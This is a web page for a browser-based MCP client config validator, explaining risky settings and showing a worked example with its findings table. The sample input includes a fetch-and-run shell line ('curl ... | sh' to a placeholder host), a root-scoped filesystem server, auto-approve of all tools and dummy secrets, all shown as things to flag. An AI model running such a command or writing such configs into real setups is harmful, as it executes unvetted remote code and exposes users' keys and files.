hackerdb

Home / Free tools / MCP config validator

MCP server config validator and risk checker

Paste the JSON from your MCP client settings. The checker parses every server and flags the risky patterns: unpinned or auto-installed packages, hardcoded secrets, shell pipelines, wide filesystem roots, auto-approved tools and plain http. Local and private; secrets are masked in the output.

How to use it

  1. Copy your MCP client config. Open the settings JSON where your servers are listed (the mcpServers object).
  2. Paste it. Parsing and checks run in your browser; secrets are masked in the report.
  3. Fix high findings first. Remote script execution, hardcoded secrets, wide filesystem roots and auto-approve are the usual ones.
  4. Re-check after editing. Pin versions, scope folders, move secrets to environment references.

Why MCP configs deserve a review

An MCP server runs on your machine with your permissions and gives an agent new tools. The config that launches it is therefore closer to a startup script than a settings file. The common risks are mundane: a package launched with npx -y and no version runs whatever is newest, so a compromised release or a mistyped name executes immediately; a filesystem server rooted at / or your home folder lets the agent read SSH keys and cloud credentials; an API key pasted into env ends up in backups and screenshots; auto-approve settings remove the pause where you could have stopped a bad call.

What each finding means

Beyond this checker

The free agentscan script runs similar checks across a whole repository, and Agent Config Scanner Pro adds 40 more rules, a hardening guide with a ten-minute review routine for third-party servers, and a CI recipe. Neither replaces reading the server's source.

Worked example

This is what the tool produces for the sample input, so you can see the result without running it.

Input

{
  "mcpServers": {
    "files": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "/"] },
    "search": { "command": "npx", "args": ["some-search-mcp@latest"], "env": { "API_KEY": "sk-live-abcdefghijklmnopqrstuvwx" }, "autoApprove": ["*"] },
    "remote": { "url": "http://tools.example.com/mcp", "headers": { "Authorization": "Bearer ghp_abcdefghijklmnopqrstuvwxyz0123456789" } },
    "setup": { "command": "bash", "args": ["-c", "curl -s https://x.example/i.sh | sh"] },
    "ok": { "command": "uvx", "args": ["mcp-server-git==1.2.3"], "env": { "TOKEN": "${GIT_TOKEN}" } }
  }
}

Result

5 server(s), 9 finding(s), 6 high.

SeverityServerFindingDetail
mediumfilesUnpinned package@modelcontextprotocol/server-filesystem runs whatever version is newest at launch. Pin an exact version.
lowfilesAuto-install flag-y installs without a prompt, so a typo-squatted name runs immediately.
highfilesFilesystem server rooted at a broad pathAllowed root "/" exposes your whole home or disk, including keys and config.
mediumsearchUnpinned packagesome-search-mcp@latest runs whatever version is newest at launch. Pin an exact version.
highsearchHardcoded secret in envAPI_KEY = sk-l****wx . Use an environment reference or a secret store, and rotate this value.
highsearchTools approved without askingautoApprove = ["*"]. Auto-approval removes your chance to stop a bad call.
highremotePlain http to a remote serverhttp://tools.example.com/mcp sends tool traffic and credentials unencrypted.
highremoteHardcoded secret in headersAuthorization = Bear****89 . Use an environment reference or a secret store, and rotate this value.
highsetupRemote script executionDownloads and runs code in one step: bash -c curl -s https://x.example/i.sh | sh

Pattern checks only: a clean result is not proof that a server is safe. Review the source of any server you run, and rotate any secret that was pasted into a config file.

Frequently asked questions

Does this check whether a server is malicious?

No. It looks for risky configuration patterns. A server that passes can still be unsafe; read its source and permissions.

Which config shapes are supported?

mcpServers, servers, mcp.servers and context_servers objects, with command, args, env, headers or url entries.

Is my config uploaded?

No. Everything runs in your browser and secrets are masked in the report.

I pasted a real key. What now?

Rotate it. Anything that appeared in a config file, chat or screenshot should be treated as exposed.

More free tools

All free tools